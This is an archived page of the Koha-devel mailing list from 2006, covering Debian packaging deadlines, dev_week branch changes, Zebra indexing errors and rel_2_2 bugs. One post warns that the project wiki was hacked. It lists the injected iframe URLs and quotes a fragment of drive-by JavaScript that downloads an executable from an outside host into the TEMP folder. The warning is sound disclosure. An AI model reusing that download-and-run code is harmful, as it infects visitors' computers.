- Koha-devel - lists.koha-community.org

Debian Etch: the big freeze comes
by MJ Ray 28 Sep '06

28 Sep '06

Etch general freeze will be 2006-10-18 Wednesday (see http://lists.debian.org/debian-devel-announce/ today) So ideally, we will need koha in unstable by 2006-10-08 Sunday (see http://www.debian.org/devel/testing for reasons) So ideally, I will need koha packages by 2006-10-06 Friday So we have about a week. Will we do this? Are we set on 2.2.6? BTW, the sooner the better, as we'll need ftpmaster approval for new packages (koha, maybe others). I'll contact ftpmasters by email to ask whether this is likely to happen. http://ftp-master.debian.org/ Thanks for any comments, -- MJR/slef My Opinion Only: see http://people.debian.org/~mjr/ Please follow http://www.uk.debian.org/MailingLists/#codeofconduct

1 0

[DANGER - URGENT - WARNING - URGENT] wiki.koha.org hacked
by Paul POULAIN 26 Sep '06

26 Sep '06

To everybody. http://wiki.koha.org has been hacked : when you try to open a page, something with a .wmf + a large javascript is loaded. If you go to the wiki under linux/Mac OSX, it is just impossible to use. If you go to the wiki under MS-windows, it's probably impossible to use + do some nasty things on your computer. SO, AVOID GOING TO WIKI.KOHA.ORG Kados / chris : it seems (with lynx, that don't enjoy javascript ;-) ) that all pages contains on the top an iframe to IFRAME: http://uniqcount.net/adv/new.php?adv=9 IFRAME: http://uniqcount.net/adv/09/new3.php going to this address give a page with javascript containing : ============================================ Log('Ceating the XMLHTTP object...'); var url = "http://uniqcount.net/adv/09/win32.exe"; var xml = null; var bin = e.Item("TEMP")+ "\\" + "metasploit.exe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } =========================================== metasploit.exe is something really nasty : http://seclists.org/vuln-dev/2004/Apr/0011.html -- Paul POULAIN et Henri Damien LAURENT Consultants indépendants en logiciels libres et bibliothéconomie (http://www.koha-fr.org) Tel : 04 91 31 45 19

2 1

Some dev_week Scratchings
by Joshua Ferraro 25 Sep '06

25 Sep '06

Hi all, I've just cleaned up the naming conventions and some of the code and documentation issues in Biblio.pm in dev_week. My goal was to make some sense of the sheer volume of code, weed out the unused and useless functions, and re-name the used functions according to our coding guidelines. I didn't intend to do this originally for dev_week but unfortunately I just couldn't work with client requirements with the code in such an unreadable state. Toins, feel free to update rel_3_0 with my changes. Just a quick update on the current state of dev_week: 1. The searching options have been greatly expanded. If you haven't looked lately, you'll want to check out the latest record.abs, bib1.att, ccl.properties files: a. The dev_week API uses CCL as the default query language for interaction between the scripts and Zebra, though it does support CCL and PQF if passed ccl= or pqf= as the first part of a query. b. Getting your records up to snuff might be the most difficult part of a migration process. At some point soon we're going to need to put together a cataloging guide for catalogers using Koha to help maximize Koha's capabilities. in the meantime, expect to spend some time feeding your records through some pre-processing scripts. c. There are internationalization issues with dev_week that I haven't had a chance to explore ... also no support for UNIMARC yet, but I think paul and hdl are working on this. I expect once a few of my clients' systems go live I'll have some room to breath and take a look at these issues. 2. Items data is no longer updated on-the-fly for circulation -- it's just too much of a performance hit. There's a batch script for keeping the index up to date that you can run every 5 minutes or so to keep things up to date. 3. I removed all the proc-hungry functions in circulation and turned on warnings. Speed is up at least 80% from rel_2_2, and that's without mod_perl turned on. 4. I'm considering eliminating the old search API from the Intranet rather than maintain a wrapper for it. If anyone has any objections, speak up quickly :-). 5. I'm planning to remove additionalauthors and bibliosubject from dev_week because we've created some better ways to handle repeatable data by pulling it directly from the MARC (and FYI: additionalauthors and bibliosubject don't work as advertised in rel_2_2, but that's another story :-)) 6. This evening I'll be taking a look at the rel_3_0 code for reserving specific items and if it's stable, merging it into dev_week. 7. NPL will be doing user-testing of the Intranet tomorrow in anticipation of their go-live date in early October. I'll post the results of this test as soon as it's completed. 8. Authorities management is currently broken in dev_week, but I plan to fix it asap. 9. I've done something potentially confusing related to itemtypes in partial fullfillment of a NPL's need for a smaller set of circ rules without losing all their others. What I've done is to create an authorized value called CCODE that is hard-coded in the code to appear as a search point. CCODE is the old itemtype for NPL and NPL uses a new set of itemtypes for actual circulation rules. However, I may need to adjust how circulation rules are applied to allow item-level circulation rules (so that for instance, a record can have multiple items, each with different circ rules) which is required by almost every US Public library. I will post more about this issue as soon as I have a plan -- ideas are welcome :-). 10. Owen and I are going to begin using bugzilla to track issues with dev_week now that things are stabilized and will be using the rel_2_4 branch. 11. Migrating from a previous version of Koha to dev_week is nothing short of a nightmare :-). In addition to the need to fix broken records and normalize existing records, there's the added burden of dealing with improperly encoded records. These issues need to be dealt with on a case-by-case basis because of the diversity of platforms out there. There's also an incredible learning curve for Zebra, both in terms of installation (ie, getting your data into zebra and having it run), and customization (ie, getting it to search what and how you want). Just a heads up for any of you looking to try this out. Well, that's all for now ... have a good rest of the weekend :-). Cheers, -- Joshua Ferraro SUPPORT FOR OPEN-SOURCE SOFTWARE President, Technology migration, training, maintenance, support LibLime Featuring Koha Open-Source ILS jmf(a)liblime.com |Full Demos at http://liblime.com/koha |1(888)KohaILS

1 0

Adding new MARC tag Thesaurus Structure
by Pedro Faria 22 Sep '06

22 Sep '06

Dear all, Imagine I want catalog books and save, for each, it's Theme and a Group (these have a restricted set of values we want to be inserted). .I thought about creating two categories in Thesaurus Structure <http://librarian.testes.udp.eurotux.com/cgi-bin/koha/admin/authtypes.pl> named Theme and Group and add for them their autorised values. But, how do I make these new fields visible when adding a MARC and where, in the DB will these values be really stored? Do I have to make links DB-MARC , create new MARC tag... help needed!! Thank you

2 1

Simple Cataloging Help
by Pedro Faria 19 Sep '06

19 Sep '06

Dear all, I want to do simple cataloging. I just need to have Title, Author, ISBN, Publisher, Year, Genre, Group. What do you propose so achieve such goal? I want to make it simple for who catalogs and the MARC form is a bit scary... Since we just need these fields I would like show to the user a form with these values. Should I create another framework (MARC structure...) Needing help... Thanks

2 1

Re: [Zebralist] zebraidx weird brutal error...
by paul.poulain＠free.fr 14 Sep '06

14 Sep '06

Selon Adam Dickmeiss <adam(a)indexdata.dk>: > /var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow/cache > > zebraidx: cfile.c:117: cf_open: Assertion `cf->head.block_size == > block_size' > > failed. > > Abandon > You probably moved shadow files from one machine to another. Adam rock !!! > > [alaurin@localhost biblios]$ zebraidx -g iso2709 -d biblios -c > > ../../etc/zebra-biblios.cfg update export/ > > zebraidx: error while loading shared libraries: libyaz.so.2: cannot open > shared > > object file: No such file or directory > > YAZ not properly installed. Or you simply did not run ldconfig. Or yaz > is installed in /usr/local/lib and that directory is not listed in > /etc/ld.so.conf. Adam rock again !!! -- Paul

1 0

zebraidx weird brutal error...
by paul.poulain＠free.fr 14 Sep '06

14 Sep '06

Hello, I try to install zebra on a new computer, running Mandriva 2006 official, to play with the future koha 3.0. Something really weird happends, that I didn't encounter previously. With : yaz-2.1.18 (make/make install) & idzebra-1.3.38 (make/make install), I get : 12:17:50-14/09 zebraidx(27191) [log] zebra_start ../../etc/zebra-biblios.cfg 1.3.38 12:17:50-14/09 zebraidx(27191) [log] previous transaction didn't reach commit 12:17:50-14/09 zebraidx(27191) [log] enabling cache spec=/var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow:4G 12:17:50-14/09 zebraidx(27191) [log] cache_fname = /var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow/cache zebraidx: cfile.c:117: cf_open: Assertion `cf->head.block_size == block_size' failed. Abandon So I tried with a newer version of yaz : (make uninstall for yaz & zebra, then make/make install for yaz-2.1.26 & idzebra-1.3.38) [alaurin@localhost biblios]$ zebraidx -g iso2709 -d biblios -c ../../etc/zebra-biblios.cfg update export/ zebraidx: error while loading shared libraries: libyaz.so.2: cannot open shared object file: No such file or directory So, let's try with idzebra 2.0.0 & yaz 2.1.26 : [alaurin@localhost biblios]$ zebraidx -g iso2709 -d biblios -c ../../etc/zebra-biblios.cfg update export/ 11:31:19-14/09 zebraidx(5810) [log] zebra_start 2.0.0 ../../etc/zebra-biblios.cfg 11:31:19-14/09 zebraidx(5810) [log] Adding filter grs.sgml 11:31:19-14/09 zebraidx(5810) [log] Adding filter text 11:31:19-14/09 zebraidx(5810) [log] enabling shadow spec=/var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow:4G 11:31:19-14/09 zebraidx(5810) [log] cache_fname = /var/www/html/koha/intranet/cgi-bin/zebraplugin/zebradb/biblios/shadow/cache 11:31:19-14/09 zebraidx(5810) [log] dir export/ 11:31:19-14/09 zebraidx(5810) [warn] No such record type: grs.marcxml.record 11:31:19-14/09 zebraidx(5810) [log] sorting section 1 11:31:19-14/09 zebraidx(5810) [log] Iterations . . . 32 11:31:19-14/09 zebraidx(5810) [log] Distinct words . 15 11:31:19-14/09 zebraidx(5810) [log] Updates. . . . . 11 11:31:19-14/09 zebraidx(5810) [log] Deletions. . . . 2 11:31:19-14/09 zebraidx(5810) [log] Insertions . . . 2 11:31:19-14/09 zebraidx(5810) [log] Records: 0 i/u/d 0/0/0 11:31:19-14/09 zebraidx(5810) [log] zebraidx times: 0.02 0.00 0.00 The record type grs.marcxml.record warning & failure is strange, as my parameters files are a copy of a working one (yes, there is a record.abs in the profilePath) I suspect something changed between zebra 1.3 & 2.0. A last note : I tried to do this on another computer, and ... it worked fine (yaz-2.1.26 & idzebra-1.3.38) Any idea welcomed.. -- Paul

2 1

Re: [Koha-devel] about bugs in rel_2_2
by Michael Hafen 11 Sep '06

11 Sep '06

It seems you are right. I also posted a patch for this problem, but I've gone back to check again today. I'm not sure my patch is the right fix. I changed a lot of stuff that probably didn't need to be changed. Now I think that maybe my bug posting should be pulled from the bugzilla too. On Tue, 2006-09-12 at 08:24 +1200, Chris Cormack wrote: > On Mon, Sep 11, 2006 at 10:17:01PM +0200, Wojciech Zatorski said: > > Hello MJ, > > > > Monday, September 11, 2006, 8:35:45 PM, you wrote: > > > > MR> Antoine Farnault wrote: > > >> * on bug #1089 : should be not fix in rel_2_2. koha 2.2.x don't work with > > >> mysql 5. > > > > MR> Which is correct on this one? Koha's syntax or the MySQL 5 one? > > MR> If Koha's SQL is wrong, the problem should be noted in the release > > MR> notes for 2.2.x, at least. > > > > KOHA SQL is wrong. i have noticed fix for this long times ago... > > > Yes, > > It is an easy fix, adding some ` to the sql install file, and adding > some () in the sql in the modules. > > There was a patch to the list about it from Dana Huff a little while > ago, perhaps we should just do that in rel_2_2, then it will work with > mysql 5? > > Chris > > >

1 0

about bugs in rel_2_2
by Antoine Farnault 11 Sep '06

11 Sep '06

hi all, I'm currently working to fix some bugs ordered by severity. Here are some comments/sum up on bug lists : -1- On blockers * on bug #1159(blo) it's probably a problem of perl version on *BSD. (see comment into bugzilla) * on bug #1128(blo) the problem seems to be solved on default template but not on npl template. So i have reassigned the bug to Joshua. * bug #1146(blo) may be closed according to paul comment. * bugs #1065(blo), #1117(blo), #1118(blo) are quite the same problem. We have differents solutions to fix theses problems according to comments in bugzilla. So first we can delete this feature in rel_2_2. We can also replace this piece of code by SAN code (present on rel_3_0) or at last, we can correct it (rewrite it). The third solution seems too hard/long. So we have to discuss about this... -2- On criticals * on bug #1089 : should be not fix in rel_2_2. koha 2.2.x don't work with mysql 5. * on bug #1160 : i work on it ;) Any comments ?

4 3

Display formatting
by Ernesto Silva 11 Sep '06

11 Sep '06

Hi guys, I've added a new paragraph titled "biblios display formatting" at http://wiki.koha.org/doku.php?id=en:development:roadmap2.2.x can you please check it out and tell me what you think, I'm I nuts or is it feasible? Regards, -- Ing. Ernesto Silva. Coordinador de Desarrollo Web y Sistemas Abiertos Universidad ORT Uruguay. E-mail: silva(a)ort.edu.uy Tel: (+598-2) 902-1505 ext. 206

3 4